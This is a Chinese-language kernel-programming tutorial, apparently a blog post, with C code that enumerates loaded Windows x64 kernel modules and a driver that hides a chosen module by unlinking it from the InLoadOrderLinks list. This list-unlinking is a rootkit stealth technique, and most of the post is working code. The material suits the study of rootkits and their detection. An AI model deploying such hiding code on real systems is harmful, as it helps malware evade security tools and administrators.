Win64 驱动内核编程-25.X64枚举和隐藏内核模块
X64枚举和隐藏内核模块
在 WIN64 上枚举内核模块的人方法:使用 ZwQuerySystemInformation 的第 11 号功能和枚举 KLDR_DATA_TABLE_ENTRY 中的 InLoadOrderLinks 双向链表;隐藏内核模块的通用方法是把指定的驱动对象从 KLDR_DATA_TABLE_ENTRY中的 InLoadOrderLinks 双向链表上摘除。
X64内核模块枚举(注意是在R3)
#include <stdio.h>
#include <Windows.h>
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)
(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG Length,
OUT PULONG ReturnLength
);
typedef unsigned long DWORD;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY
{
ULONG Unknow1;
ULONG Unknow2;
ULONG Unknow3;
ULONG Unknow4;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;//内核中以加载的模块的个数
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
BOOLEAN EnumKM(char *HighlightDrvName)
{
ULONG NeedSize, i, ModuleCount, HLed=0, BufferSize = 0x5000;
PVOID pBuffer = NULL;
PCHAR pDrvName = NULL;
NTSTATUS Result;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
do
{
//分配内存
pBuffer = malloc( BufferSize );
if( pBuffer == NULL )
return 0;
//查询模块信息
Result = ZwQuerySystemInformation( 11, pBuffer, BufferSize, &NeedSize );
if( Result == 0xC0000004L )
{
free( pBuffer );
BufferSize *= 2;
}
else if( Result<0 )
{
//查询失败则退出
free( pBuffer );
return 0;
}
}
while( Result == 0xC0000004L );
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)pBuffer;
//获得模块的总数量
ModuleCount = pSystemModuleInformation->Count;
//遍历所有的模块
for( i = 0; i < ModuleCount; i++ )
{
if((ULONG64)(pSystemModuleInformation->Module[i].Base) > (ULONG64)0x8000000000000000)
{
pDrvName = pSystemModuleInformation->Module[i].ImageName+pSystemModuleInformation->Module[i].ModuleNameOffset;
printf("0x%llx\t%s",(ULONG64)pSystemModuleInformation->Module[i].Base,pDrvName);
if( _stricmp(pDrvName,HighlightDrvName)==0 )
{
printf("\t\t<--------------------");
HLed=1;
}
printf("\n");
}
}
if(HLed==0)
printf("\n[%s] NOT FOUND!",HighlightDrvName);
free(pBuffer);
return 1;
}
int main()
{
ZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)GetProcAddress(LoadLibraryW(L"ntdll.dll"),"ZwQuerySystemInformation");
EnumKM("win32k.sys");
getchar();
return 0;
}
然后是R0隐藏内核模块,摘链问题。也就是要注意结构定义细节就行了。
#include <ntddk.h>
#define kprintf DbgPrint
#define kmalloc(_s) ExAllocatePoolWithTag(NonPagedPool, _s, 'SYSQ')
#define kfree(_p) ExFreePool(_p)
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation
(
IN ULONG SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG Length,
OUT PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY
{
ULONG Unknow1;
ULONG Unknow2;
ULONG Unknow3;
ULONG Unknow4;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;//内核中以加载的模块的个数
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _KLDR_DATA_TABLE_ENTRY
{
LIST_ENTRY64 InLoadOrderLinks;
ULONG64 __Undefined1;
ULONG64 __Undefined2;
ULONG64 __Undefined3;
ULONG64 NonPagedDebugInfo;
ULONG64 DllBase;
ULONG64 EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT __Undefined5;
ULONG64 __Undefined6;
ULONG CheckSum;
ULONG __padding1;
ULONG TimeDateStamp;
ULONG __padding2;
}KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
PDRIVER_OBJECT pDriverObject = NULL;
ULONG64 GetSystemModuleBase(char* lpModuleName)
{
ULONG NeedSize, i, ModuleCount, BufferSize = 0x5000;
PVOID pBuffer = NULL;
PCHAR pDrvName = NULL;
NTSTATUS Result;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
do
{
//分配内存
pBuffer = kmalloc( BufferSize );
if( pBuffer == NULL )
return 0;
//查询模块信息
Result = ZwQuerySystemInformation( 11, pBuffer, BufferSize, &NeedSize );
if( Result == STATUS_INFO_LENGTH_MISMATCH )
{
kfree( pBuffer );
BufferSize *= 2;
}
else if( !NT_SUCCESS(Result) )
{
//查询失败则退出
kfree( pBuffer );
return 0;
}
}
while( Result == STATUS_INFO_LENGTH_MISMATCH );
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)pBuffer;
//获得模块的总数量
ModuleCount = pSystemModuleInformation->Count;
//遍历所有的模块
for( i = 0; i < ModuleCount; i++ )
{
if((ULONG64)(pSystemModuleInformation->Module[i].Base) > (ULONG64)0x8000000000000000)
{
pDrvName = pSystemModuleInformation->Module[i].ImageName+pSystemModuleInformation->Module[i].ModuleNameOffset;
if( _stricmp(pDrvName,lpModuleName)==0 )
return (ULONG64)pSystemModuleInformation->Module[i].Base;
}
}
kfree(pBuffer);
return 0;
}
VOID HideDriver(char *pDrvName)
{
PKLDR_DATA_TABLE_ENTRY entry=(PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
PKLDR_DATA_TABLE_ENTRY firstentry;
ULONG64 pDrvBase=0;
KIRQL OldIrql;
firstentry = entry;
pDrvBase = GetSystemModuleBase(pDrvName);
while((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
{
if( entry->DllBase==pDrvBase )
{
//typedef struct LIST_ENTRY64 {
// ULONGLONG Flink;
// ULONGLONG Blink;
//} LIST_ENTRY64;
//typedef LIST_ENTRY64 *PLIST_ENTRY64;
//le->Flink->Blink=le->Blink;
//le->Blink->Flink=le->Flink;
OldIrql = KeRaiseIrqlToDpcLevel();
((LIST_ENTRY64*)(entry->InLoadOrderLinks.Flink))->Blink=entry->InLoadOrderLinks.Blink;
((LIST_ENTRY64*)(entry->InLoadOrderLinks.Blink))->Flink=entry->InLoadOrderLinks.Flink;
entry->InLoadOrderLinks.Flink=0;
entry->InLoadOrderLinks.Blink=0;
KeLowerIrql(OldIrql);
DbgPrint("Remove LIST_ENTRY64 OK!");
break;
}
//kprintf("%llx\t%wZ\t%wZ",entry->DllBase,entry->BaseDllName,entry->FullDllName);
entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
}
}
NTSTATUS UnloadDriver(IN PDRIVER_OBJECT DriverObject)
{
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = UnloadDriver;
pDriverObject = DriverObject;
HideDriver("win32k.sys"); //hidekm64.sys
return STATUS_SUCCESS;
}
Win64 驱动内核编程-25.X64枚举和隐藏内核模块的更多相关文章
- Win64 驱动内核编程-8.内核里的其他常用
内核里的其他常用 1.遍历链表.内核里有很多数据结构,但它们并不是孤立的,内核使用双向链表把它们像糖 葫芦一样给串了起来.所以遍历双向链表能获得很多重要的内核数据.举个简单的例子,驱 动对象 Driv ...
- Win64 驱动内核编程-3.内核里使用内存
内核里使用内存 内存使用,无非就是申请.复制.设置.释放.在 C 语言里,它们对应的函数是:malloc.memcpy.memset.free:在内核编程里,他们分别对应 ExAllocatePool ...
- Win64 驱动内核编程-7.内核里操作进程
在内核里操作进程 在内核里操作进程,相信是很多对 WINDOWS 内核编程感兴趣的朋友第一个学习的知识点.但在这里,我要让大家失望了,在内核里操作进程没什么特别的,就标准方法而言,还是调用那几个和进程 ...
- Win64 驱动内核编程-2.基本框架(安装.通讯.HelloWorld)
驱动安装,通讯,Hello World 开发驱动的简单流程是这样,开发驱动安装程序,开发驱动程序,然后安装程序(或者其他程序)通过通讯给驱动传命令,驱动接到之后进行解析并且执行,然后把执行结果返回. ...
- Win64 驱动内核编程-18.SSDT
SSDT 学习资料:http://blog.csdn.net/zfdyq0/article/details/26515019 学习资料:WIN64内核编程基础 胡文亮 SSDT(系统服务描述表),刚开 ...
- Win64 驱动内核编程-32.枚举与删除注册表回调
枚举与删除注册表回调 注册表回调是一个监控注册表读写的回调,它的效果非常明显,一个回调能实现在SSDT 上 HOOK 十几个 API 的效果.部分游戏保护还会在注册表回调上做功夫,监控 service ...
- Win64 驱动内核编程-34.对抗与枚举MiniFilter
对抗与枚举MiniFilter MiniFilter 是目前杀毒软件用来实现"文件系统自我保护"和"文件实时监控"的方法. 由于 MiniFilter 模型简单 ...
- Win64 驱动内核编程-28.枚举消息钩子
枚举消息钩子 简单粘贴点百度的解释,科普下消息钩子: 钩子是WINDOWS中消息处理机制的一个要点,通过安装各种钩子,应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之 ...
- Win64 驱动内核编程-31.枚举与删除映像回调
枚举与删除映像回调 映像回调可以拦截 RING3 和 RING0 的映像加载.某些游戏保护会用此来拦截黑名单中的驱动加载,比如 XUETR.WIN64AST 的驱动.同理,在反游戏保护的过程中,也可以 ...
随机推荐
- 大数据实战-Hive-技巧实战
1.union 和 union all 前者可以去重 select sex,address from test where dt='20210218' union all select sex,add ...
- FreeBSD 入门导言
→→→→→导言: 导言,这一部分通常也被称作"前言"."导论"."概论"."楔子"."写在前面".& ...
- C# 通过ServiceStack 操作Redis——String类型的使用及示例
1.引用Nuget包 ServiceStack.Redis 我这里就用别人已经封装好的Reids操作类,来演示,并附上一些说明 RedisConfigInfo--redis配置文件信息 /// < ...
- 5行代码!完成bat病毒制作!!!
这个病毒的功能是删除当前目录下.cpp类型的代码. copy %0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\P ...
- POJ1562_Oil Deposits(JAVA语言)
思路:bfs.水题,标记下计数就完了. Oil Deposits Time Limit: 1000MS Memory Limit: 10000K Total Submissions: 22928 ...
- 用 Go + WebSocket 快速实现一个 chat 服务
前言 在 go-zero 开源之后,非常多的用户询问是否可以支持以及什么时候支持 websocket,终于在 v1.1.6 里面我们从框架层面让 websocket 的支持落地了,下面我们就以 cha ...
- 谷歌SRE运维模式解读
谷歌SRE运维模式解读 前面我和你分享了一些关于运维组织架构和协作模式转型的内容,为了便于我们更加全面地了解先进的运维模式,今天我们再来谈一下谷歌的SRE(Site Reliability Engin ...
- Istio安全-证书管理(实操一)
Istio安全-证书管理 目录 Istio安全-证书管理 插入现有CA证书 插入现有证书和密钥 部署Istio 配置示例services 校验证书 卸载 Istio的DNS证书管理 DNS证书的提供和 ...
- 显示IPC信息--ipcs
ipcs 显示共享内存,消息队列, 信号量全部的IPC ipcs -q ...
- 开源组件编排引擎LiteFlow发布里程碑版本2.5.0
介绍 LiteFlow作为一款轻量级组件编排框架,自开源来,获得了挺多人的关注.社区群也扩展到了接近200人. 早期版本因为疏忽打理,有一些BUG,迭代也不及时.距离上一个稳定版本2.3.3,已经有超 ...